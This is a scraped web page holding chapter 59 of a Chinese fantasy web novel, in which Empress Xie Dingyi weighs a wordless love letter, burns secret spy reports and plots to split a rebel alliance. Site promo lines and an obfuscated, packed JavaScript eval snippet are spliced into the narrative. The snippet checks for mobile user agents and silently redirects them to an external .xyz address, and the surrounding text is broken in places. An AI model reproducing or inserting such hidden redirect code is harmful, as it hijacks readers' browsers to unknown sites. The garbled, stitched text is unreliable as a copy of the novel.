123读书网 > 玄幻小说 > 定夷 > 第59章
    此事议毕,众人各自告退没过多久外出的宁荷回到了帐中将手中文书交给她,禀报道:“陛下,各城能用的粮草军备都清点完毕了。”


    宁荷所说的各城是这几个月打下来的西羌领地此处原是旧年昭矩都城所在,最为富庶,能用的粮草军备


    也不少虽然至多只能让十万大军坚持两个月,但也很大程度上地缓解了中梁的军需压力。


    谢定夷点点头,心里紧绷的那根弦也稍微松了点宁荷等她细细看完那清单又从怀中拿出一封信说:“梁安来的。”


    一说这话那便是沈淙写的谢定夷顺手接过来打开,发现他这回没写什么平乐亲启也没闹什么别扭甚至也没有署名——因为他什么都没写。


    谢定夷莫名其妙将那信笺前后翻了翻愣是没找出第四个字来,反倒下方有几滴湿后晾干的褶皱,传达了其主人的一点心绪。


    “谁又给他委屈受了,”她伸手拈了拈那泪痕道:“送信的让你传什么话了吗?”


    宁荷摇摇头说:“这回是广盛行的伙计直接送来的,没有留什么话。”


    谢定夷只好作罢拿起笔就在那染了泪痕的纸页上给他回信


    写完这句她就将信纸重新折回信封里递给宁荷道:“拿回去吧。”


    细细算起来她和沈淙也半年未见了虽然来往的信笺不少但都是三言两语的全部加一起估计也不过数百字——他不是会诉衷肠的人面对面的时候或许还能说两句缠绵之语一分开就又成了那个冷若冰霜的沈二公子诉一句情语就像是要他的命似的。


    她心下无言捏住信封的手正要撤开却发现那指间的厚度似乎不太对劲收回手后撑开封口往下倒里面很快掉出来两片薄薄的东西。


    那东西一指节见方拿在手中细看才发现是一枚蜡封的香片。


    所谓香片其实也就是香料只不过想要做得这么细巧并不容易容易整个梁安也只有寥寥少数几家香料铺子能做出来别的地方就更不用说了这种香片多是供应世家方便那些出门没法带香炉熏香、却仍要衣不沾尘身怀明香的世家公子。


    这东西用起来也简单直接丢在炭炉里等蜡融了里面的香就会被慢慢熏出香片也会和炭一样烧红裂开最后化成黑灰。


    谢定夷看着手中的东西一时间没明白沈淙的用意——他虽然喜爱熏香但似乎也没到这种地步吧先前同她出门的时候也没说非要带着香炉怎么如今给她寄了两片这东西来。


    她思忖几许抬起手轻轻一丢精准地将


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    其中一片香投进了桌前不远处的炭炉里没一会儿一股熟悉的返魂梅香就似有若无地在她鼻尖萦绕恍然间仿佛某人就在身边。


    “……”


    谢定夷明白过来沉默两息几乎想要击掌而叹了——沈淙这七弯八绕的性子也难为他能想出这种办法。


    她重新将那还未送出去的信纸翻开在刚刚那一行字的后面添上半句道:“知道了。”


    ……


    宁荷走后不久外出跑马的纫秋也回来了守在营帐门口的宁竹看见他


    纫秋道:“就在北山坡上那里的草长得好踏星一出营地就往那跑。”


    宁竹笑道:“踏星最会找吃的了嘴也挑得很。”


    纫秋和宁竹不算太熟闻言只腼腆地笑了笑另问道:“陛下还在帐中吗?”


    宁竹道:“在陛下吩咐了你回来直接进去就行。”


    纫秋嗯了一声走到帘边先掀起一条小缝往里看了看见谢定夷没在休息才迈步走了进去说:“陛下我回来了。”


    谢定夷正倚在床边的小榻上看什么东西闻言便抬头看了他一眼道:“去哪玩了?”


    纫秋屈膝坐到她手边说:“北山坡上。”


    离得近了才发现她手中是一叠文书或大或小或长或短各色不一样的信笺堆在一起写满了密密麻麻的小字大约都是无相卫的密报。


    她人虽不在梁安但对梁安的情况仍了解的事无巨细很多事关重大的奏折文书也还是会送到她这里。


    纫秋不敢多看很快就收回了目光边说话便从袖中摸出自己刚刚收到的那一小封卷好的密报放到了谢定夷的掌心里。


    踏星是他和陛下之间独有的暗号若是某日突然让他带踏星出去那就是有密信要达需要他避开所有人单独取来。


    察觉到手中的东西谢定夷眉间一动将其迅速拈至指尖两根长指上下一翻将其抻平露出里面的内容来。


    她似乎知道这是什么并没有认真去看只是略略低头扫了一眼一开头便是细作二字。


    短暂的停顿过后她将那一小张纸拢到了掌心里仰头靠在了身后的软枕之上。


    纫秋清晰地感觉到她周身的气息一瞬间沉郁了许多仰头看了她一眼问:“陛下……”


    但话还没问出口谢定夷就抬手捂住了他的嘴唇神色平静地摇了摇头。


    纫秋一下子噤了声眨眨眼睛示意自己知道了。


    谢定夷放开他说:“我有点饿了去拿饭吧。”


    纫秋点点头撑着塌沿站起身转身往帐外走去。


    待到帐中只剩下自己一个人


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    谢定夷才坐起身来,长臂拖过一旁案几上的铁盘,点燃了手中密报的一角。


    她一张张地烧,确保那纸笺全都化为灰烬后才会去烧下一张,扭曲的火舌舔舐着纸张,一下一下地卷过她的指尖,零星的火光藏在轻飘飘的纸灰下,随着细小的气流拂过闪烁不定。


    直到最后一张纸落下来,所有的一切都化为了黑灰色的余烬,卷曲发白的纸边还留有隐约的墨痕,仔细看去,才能勉强看出几根细细的线条,未被烧完小小角落被谢定夷捏在手中,墨迹已然模糊不清。


    良久之后,安静的营帐中传来一声模糊的轻叹,再无其他。


    ————————————————


    从这日一直到入秋前,两国的战线一直在图朔城外胶着,淳于通见此城难攻,也尝试改变战线,从临近的城池下手,但一则,攻城历来比守城难,除非城下是数以倍之的敌军,不然五千人守城已然足矣,二则,如今中梁也不只有步卒,数以万计的水师还盘踞在城内,已经有了和骑兵一较高下的资本。


    再加之淳于通也不敢召集所有兵力攻向一处,以免别城失守,所以只能暂时拖着,试图再等冬日一举歼之。


    先前是中梁等春,如今又是西羌等冬,有时候战局靠的就是一场雨,一阵风,错过时机就难再遇。


    待一场秋雨过,边关的天气再次转寒,雨水也不再像夏日那般充沛,谢定夷知道时机快到了,亲自监军,和兵卒一同训练,同时命巡逻的人每日检查城防,不可松懈。


    “陛下,方大人已经离京了,”从训练场回营路上,宁荷从半路跟到了她身后,说:“率京中五千布防营,还有三千禁军。”


    谢定夷问:“庆云邑如何了?”


    宁荷道:“不太好,他们声势浩大,集结了不少旧党,除了阙敕旧民外,还有一些效忠皇室的旧臣——先前与中梁交过手的那个乌饮墨,不知道您还记得吗?”


    乌饮墨是阙敕的兵马大元帅,先前和中梁交手最多的就是她,如果说吾丘寅是有谋算,那此人不仅有谋,还有勇。


    多年前的东宛上旗城一战中,就是此人领兵支援东宛,不仅成功夺回了此城,还杀了谢定夷手下两个副将,就连谢定夷自己也被她所伤,压在衣襟下的肩膀上至今还有一道延至小腹的长疤。


    原本阙敕国破后谢定夷想把她收为己用,可惜阙都一战后此人不知所踪,也没给她招安的机会。


    谢定夷道:“她也被吾丘寅说服了?”


    宁荷道:“不算,她看不上吾丘寅的谋算,只是效忠伪帝。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477892|167242||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谢定夷笑了笑,说:“伪帝才七岁。”


    宁荷说:“但也是阙敕皇室


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    ,否则吾丘寅何必挟天子,直接自己称帝了。”


    谢定夷伸了个懒腰,说:“可惜,阙敕皇室可不止他一个。”


    宁荷道:“陛下放心,我们已经指引公仪彻去往庆云邑了,吾丘寅逼死她母皇,她不会善罢甘休的,比起一个七岁小儿,乌饮墨自然更知道效忠谁。”


    当年阙敕国破,逃走的不只一个公仪衡,还有另一个皇子公仪彻,谢定夷这些年一直派人寻找他们的踪迹,在得知公仪衡在吾丘寅手里后,她就撤回了找他的那一批人手,转而调去一起寻找公仪彻。


    一直到半年前,她才在归余城得到顾绮传来的消息,道他们追着蛛丝马迹,终于在池州的一个小山村中找到了隐姓埋名的阙敕帝姬。


    此人见顾绮等人破门而入,倒是泰然自若不慌不忙,甚至都没放下手中的物什,只是淡淡道:“等我浇完这盆花吧。”


    顾绮等人也没动手,只是默默地等她干完手中的活,尔后放下手中的刀,不携利器地走到院中的桌边,俨然一副要和她谈谈的样子。


    公仪彻问:“你想干什么?”


    彼时中梁和西羌正在归余城外僵持,吾丘寅也已经逃走,顾绮奉谢定夷急令找到她,自然不会动手,便道:“你隐居在此,可知阙敕之乱?”


    公仪彻道:“如今不是已经是你们中梁的天下了吗?又何来阙敕?”


    顾绮笑笑,道:“虽无阙敕,但有旧民,如今吾丘寅正在东境生乱,集结阙敕百姓,声称要复辟阙敕,还拥立了公仪衡为阙敕新帝,一些旧臣见他声势浩大,主动归附,口口声声说自己并无叛国之心。”


    公仪彻皱起眉头,低低念了一句:“吾丘寅?他还没死?”


    顾绮说:“活的好好的。”


    公仪彻和她对视良久,道:“你想让**什么?”


    顾绮笑了,站起来对她行了一个下官礼,道:“我们陛下说了,只要殿下愿意为我们除去吾丘寅,安抚阙敕百姓,今后定然一生无虞,性命无忧。”


    公仪彻道:“你觉得我还在乎这些?”


    “那殿下总在乎阙敕百姓的性命吧?”顾绮道:“叛军与中梁边城守军屡屡发生冲突,里面有多少无辜的百姓死于非命,只因为相信吾丘寅,相信公仪衡,相信阙敕皇室,他以民为薪烧这把火,殿下难道丝毫不顾吗?”


    见公仪彻神色迟疑,顾绮心中已定,最后道:“其实殿下也知道,就算中梁不开战,六国互相制衡的局面也维持不了多久,不过是谁为刀俎谁为鱼肉罢了,我们不想再像往年那般任人欺凌,所以抢下了先手,但其中付出了多少代价只有我们自己知道。


    而如今,中梁只差一步就能一统六国,今后有多少年不会再有战事,百姓又能安乐多少年,殿下心如明镜,不会不明白。”


    “陛下说了,您和她是同路人,”她退开一步,朝那柴门伸了伸手,道:“我们的人会护您平安抵达庆云邑,乌将军如今正在军中,还望您当机立断,莫要留手。”


    ……


    不**仪彻会不会为他们所用,又会不会在最后关头叛变,其实只要她出现,阙敕那群叛党就一定会分化,而乌饮墨心中所向并非是吾丘寅,而是阙敕皇室,那也就意味着她很大程度上会倒向更有复国能力的公仪彻。


    只要将吾丘寅和乌饮墨拆开,那这群叛党就没那么难对付——吾丘寅是否会甘心于自己好不容易促成的局面被公仪彻的出现打破?乌饮墨又会不会任由吾丘寅对付公仪彻,架空公仪衡?


    一旦他们内部出现一星一点的矛盾,那他们所造出来的声势也不过一盘散沙,都不用他们动手就直接随风而散了。


    刀光血影的博弈之中,其实也不过人心二字。